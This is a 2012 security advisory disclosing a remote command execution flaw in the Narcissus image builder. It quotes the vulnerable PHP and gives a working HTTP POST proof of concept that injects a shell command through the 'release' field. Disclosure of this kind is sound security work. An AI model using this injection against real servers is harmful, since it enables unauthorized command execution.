:::::::-.   ...    ::::::.    :::.
  ;;,   `';, ;;     ;;;`;;;;,  `;;;
  `[[     [[[['     [[[  [[[[[. '[[
   $$,    $$$$      $$$  $$$ "Y$c$$
   888_,o8P'88    .d888  888    Y88
   MMMMP"`   "YmmMMMM""  MMM     YM
 
  [ Discovered by dun \ posdub[at]gmail.com ]
  [ 2012-11-13                              ]
##########################################################
#  [ Narcissus ] Remote Command Execution Vulnerability  #
##########################################################
#
# Script: "Narcissus - Online image builder for the angstrom distribution"
#
# Vendor:   http://www.angstrom-distribution.org/
# Download: https://github.com/Angstrom-distribution/narcissus
#
# Vendor was informed some time ago, but did not respond yet.
#
##########################################################
#
# [ Remote Command Execution ]
#
# File: /narcissus/backend.php ( lines: 10-183 ):
# ..cut..
# if (isset($_POST["action"]) && $_POST["action"] != "") {
#  $action = $_POST["action"];                              // 1
# } else {
#  print "Invalid action: $action";
#  exit;
# }
#
# if (isset($_POST["machine"])) {
#  $machine = escapeshellcmd(basename($_POST["machine"]));  // 2
# } else {
#  print "Invalid machine";
#  exit;
# }
# ..cut..
# if (isset($_POST["release"]) && $_POST["release"] != "") {
#  $release = $_POST["release"];                            // 3
# } else {
#  $release = "stable";
# }
# ..cut..
# switch($action) {
# ..cut..
#  case "configure_image":                                  // 4
#     print "configuring\n";
#     configure_image($machine, $name, $release);           // 5
#     break;
# ..cut..
# function configure_image($machine, $name, $release) {
#  print "Machine: $machine, name: $name\n";
#  passthru ("scripts/configure-image.sh $machine $name-image $release && exit");  // 6 [RCE]
# }
# ..cut..
#
# Vuln:
# http://localhost/narcissus/backend.php
#
# POST /narcissus/backend.php HTTP/1.1
# Host: localhost
# User-Agent: Mozilla/5.0 Gecko/20100101 Firefox/16.0
# Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
# Accept-Language: pl,en-us;q=0.7,en;q=0.3
# Accept-Encoding: gzip, deflate
# Connection: keep-alive
# Content-Type: application/x-www-form-urlencoded
# Content-Length: 50
# machine=0&action=configure_image&release=|uname -a
#
### [ dun / 2012 ] #######################################